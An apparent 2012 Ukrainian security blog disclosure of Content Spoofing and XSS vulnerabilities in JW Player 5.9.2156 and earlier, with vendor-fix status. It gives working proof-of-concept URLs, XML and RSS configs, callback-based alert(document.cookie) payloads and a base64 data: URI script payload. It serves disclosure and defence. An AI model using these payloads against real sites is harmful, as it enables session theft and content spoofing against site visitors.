Content Spoofing та XSS уразливості в JW Player
17:24 06.06.201228.05.2012
У травні, 25.05.2012, під час пентесту, я виявив Content Spoofing та Cross-Site Scripting уразливості в JW Player. Про деякі з цих CS уразливостей мені відомо ще з 2008 року, коли вперше зіштовхнувся з цим відеоплеєром на флеші. Про що найближчим часом повідомлю розробникам флеш додатку.
Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам.
06.06.2012
Content Spoofing:
В параметрі file можна вказати як відео, так і аудіо файли.
Можна вказувати абсолютні URL (в параметрах file та image) для включення зовнішніх файлів в флешку на цільовому сайті.
http://site/jwplayer.swf?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF
http://site/jwplayer.swf?file=1.flv&image=1.jpg
Через xml-файл, розміщений на поточному чи зовнішньому ресурсі, можна вказувати абсолютні URL (в параметрі config) для включення зовнішніх файлів в флешку на цільовому сайті (параметри file та image в xml-файлі приймають довільні адреси). Для завантаження файла конфігурації з зовнішнього сайта він повинен мати crossdomain.xml.
http://site/jwplayer.swf?config=1.xml
1.xml
<config>
<file>1.flv</file>
<image>1.jpg</image>
</config>
Через xml-файл, розміщений на поточному чи зовнішньому ресурсі, можна вказувати абсолютні URL (в параметрі playlistfile) для включення зовнішніх файлів в флешку на цільовому сайті (параметри media:content та media:thumbnail в xml-файлі приймають довільні адреси). Для завантаження файла плейліста з зовнішнього сайта він повинен мати crossdomain.xml.
http://site/jwplayer.swf?playlistfile=1.rss
http://site/jwplayer.swf?playlistfile=1.rss&playlist.position=right&playlist.size=200
1.rss
<rss version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
<channel>
<title>Example playlist</title>
<item>
<title>Video #1</title>
<description>First video.</description>
<media:content url="1.flv" duration="5" />
<media:thumbnail url="1.jpg" />
</item>
<item>
<title>Video #2</title>
<description>Second video.</description>
<media:content url="2.flv" duration="5" />
<media:thumbnail url="2.jpg" />
</item>
</channel>
</rss>
XSS:
http://site/jwplayer.swf?playerready=alert(document.cookie)
XSS:
Якщо на сайті на сторінці з jwplayer.swf (player.swf) є можливість включити (через HTML Injection) JS код з калбек функцією, а таких функцій всього 19, то можна провести XSS атаку. Тобто JS-калбеки можна використати для XSS атаки.
<script type="text/javascript" src="jwplayer.js"></script>
<div id="container">...</div>
<script type="text/javascript">
jwplayer("container").setup({
flashplayer: "jwplayer.swf",
file: "1.flv",
autostart: true,
height: 300,
width: 480,
events: {
onReady: function() { alert(document.cookie); },
onComplete: function() { alert(document.cookie); },
onBufferChange: function() { alert(document.cookie); },
onBufferFull: function() { alert(document.cookie); },
onError: function() { alert(document.cookie); },
onFullscreen: function() { alert(document.cookie); },
onMeta: function() { alert(document.cookie); },
onMute: function() { alert(document.cookie); },
onPlaylist: function() { alert(document.cookie); },
onPlaylistItem: function() { alert(document.cookie); },
onResize: function() { alert(document.cookie); },
onBeforePlay: function() { alert(document.cookie); },
onPlay: function() { alert(document.cookie); },
onPause: function() { alert(document.cookie); },
onBuffer: function() { alert(document.cookie); },
onSeek: function() { alert(document.cookie); },
onIdle: function() { alert(document.cookie); },
onTime: function() { alert(document.cookie); },
onVolume: function() { alert(document.cookie); }
}
});
</script>
В ліцензійних версіях плеєра є така функція, як логотип. Тому в ліцензійних версіях swf-файла також є наступні уразливості.
Content Spoofing:
http://site/jwplayer.swf?file=1.flv&logo.file=1.jpg&logo.link=http://websecurity.com.ua
XSS:
http://site/jwplayer.swf?file=1.flv&logo.file=1.jpg&logo.link=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B
Уразливі JW Player 5.9.2156 та попередні версії. А також всі веб додатки, що використовують дані версії JW Player, а це сотні веб додатків та мільйони сайтів в Інтернеті. Перша з наведених XSS уразливостей вже виправлена в версії 5.9.2206 (інші уразливості розробники планують виправити в наступній 6.0 версії). Лише деякі з цих уразливостей наявні в 3.x та попередніх версіях.
Swf-файли JW Player можуть мати різні імена, такі як jwplayer.swf та player.swf. За інформацією Google, існує близько 7709600 таких flash файлів в Інтернеті.
P.S.
Виправив код XSS в ліцензійний версії плеєра. Замість javascript: URI потрібно використовувати data: URI (перший варіант спрацьовував лише в старих версіях плеєра).